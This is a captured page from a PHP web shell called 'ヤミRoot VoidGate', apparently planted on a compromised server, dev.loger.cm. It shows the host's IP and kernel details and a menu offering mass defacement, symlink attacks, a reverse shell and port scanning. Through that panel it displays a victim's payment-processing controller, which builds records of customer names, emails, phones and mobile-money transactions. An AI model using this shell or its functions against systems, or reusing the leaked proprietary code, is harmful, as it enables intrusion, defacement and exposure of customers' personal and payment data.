ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
api.loger.cm
/
logermicroservice
/
controllers
/
Services
/
Viewing: ServicesController.php
<?php /** * Created by PhpStorm. * User: user * Date: 07/07/2020 * Time: 16:40 */ require '../Slim/vendor/autoload.php'; require '../php-jwt/vendor/autoload.php'; use GuzzleHttp\Client; use GuzzleHttp\Exception\RequestException; use Psr\Http\Message\ResponseInterface; use GuzzleHttp\RequestOptions ; use GuzzleHttp\Psr7; use Slim\App; use Slim\Http\Request; use Slim\Http\Response; use \Firebase\JWT\JWT; include_once 'ServicesFunctions.php'; $configuration = [ 'settings' => [ 'displayErrorDetails' => true, ], ]; $c = new \Slim\Container($configuration); $app = new \Slim\App($c); $app->post('/tickets_pay', function ($request, $response, $args) { $Services=new ServicesFunctions(); /** @var Slim\Http\Response $response */ /** @var Slim\Http\Request $request */ $lastIndex=$request->getParsedBodyParam("lastIndex"); $responseBody=$Services->getTrxService( ); /* "payment_method": "cod", "payment_method_title": "Paiement à la livraison", "transaction_id": "", "payment_method": "monetbil", "payment_method_title": "MTN Mobile Money", "transaction_id": "20111516591749947412", "payment_method": "other_payment", "payment_method_title": "Orange Money", "transaction_id": "", "payment_method": "other_payment", "payment_method_title": "Orange Money", * * */ $transactions=$responseBody['data']; $data=array(); foreach ($transactions as $transaction){ $orangeFormat = array("690","691","692","693","694","695","696","697","698","699", "656", "657", "658", "659", "655"); $MTNFormat = array("670","671","672","673","674","675","676","677","678","679", "650", "651", "652", "653", "654", "680", "681", "682", "683", "684"); $service_name="Cash deposit"; $service_type="cash_payment"; $payment_serviceId=5; //Cash pour monetbill // "payment_method": "orange_money", // "payment_method": "mtn_momo", if($transaction->payment_method=="orange_money"){ $service_name="OrangeMoney"; $service_type="e_payment"; $payment_serviceId=1; }else if($transaction->payment_method=="mtn_momo"){ $service_name="Mtn MoMo"; $service_type="e_payment"; $payment_serviceId=2; }else if($transaction->paypal_checkout=="paypal_checkout"){ $service_name="PayPal"; $service_type="e_payment"; $payment_serviceId=3; } else if($transaction->paypal_checkout=="bacs"){ $service_name="Virement Bancaire"; $service_type="e_payment"; $payment_serviceId=7; } $amount=$transaction->total; if($transaction->currency=="EUR"){ $amount=floatval($transaction->total)*650; } $logement=""; if(!is_null($transaction->logement)){ $logement=$transaction->logement->nom." ".$logement=$transaction->logement->type[0]->name; } $transaction_status="SUCCEED"; $products=""; foreach ($transaction->rooms as $product){ $products.=$product->name."; "; } if($transaction->billing->first_name!="[supprimé]"){ array_push($data, array( "transaction_status"=> $transaction_status, "paymenId"=> $transaction->id, "bookingId"=> $transaction->id, "quantity"=> 1, "cost_per_unit"=>$amount, "payment_service_id"=> $payment_serviceId, "amount"=> $amount, "reference_number"=> $transaction->id, "created_at"=> $transaction->date_created, "customerId"=> $transaction->customer_id, "service_name"=> $service_name, "type"=> $service_type, "company_id"=> 0, "companyName"=> "ITS CM", "companyEmail"=> "info@its.cm", "companyPhone"=> "237242070806", "email"=> $transaction->customer_email, "firstName"=> $transaction->customer_first_name, "lastName"=> $transaction->customer_last_name, "phone1"=> $transaction->customer_phone, "detail"=> '<div class="row">'. '<div class="col s12">'. '<table>'. '<thead>'. '<th>Entreprise</th>'. '<th>Objet</th>'. '<th>Date achat</th>'. '<th>Coût</th>'. '<th>Payer Via</th>'. '<th>client</th>'. ' </thead>'. '<tbody>'. '<td>ITS</td>'. '<td> Reservation '.$products.' dans la residence '.$logement.' </td>'. '<td>'.$transaction->date_created. '</td>'. '<td>'.$transaction->total. ' cfa</td>'. '<td>'.$service_name.'</td>'. '<td>'.$transaction->customer_last_name.' '. $transaction->customer_first_name.' </td>'. '</tbody>'. '</table>'. '</div>'. '</div>' , )); } } $responseBody['data']=$data; return $response->withJson($responseBody); }); $app->post('/order_pay', function ($request, $response, $args) { $Services=new ServicesFunctions(); /** @var Slim\Http\Response $response */ /** @var Slim\Http\Request $request */ $lastIndex=$request->getParsedBodyParam("lastIndex"); $responseBody=$Services->getTransactions( $lastIndex); $transactions=$responseBody['data']; $data=array(); foreach ($transactions as $transaction){ array_push($data, array( "order"=> $transaction, "orderItems"=> $Services->getOrderList($transaction->order_id)['data'], )); } $responseBody['data']=$data; return $response->withJson($responseBody); }); $app->run() ;
Coded With 💗 by
0x6ick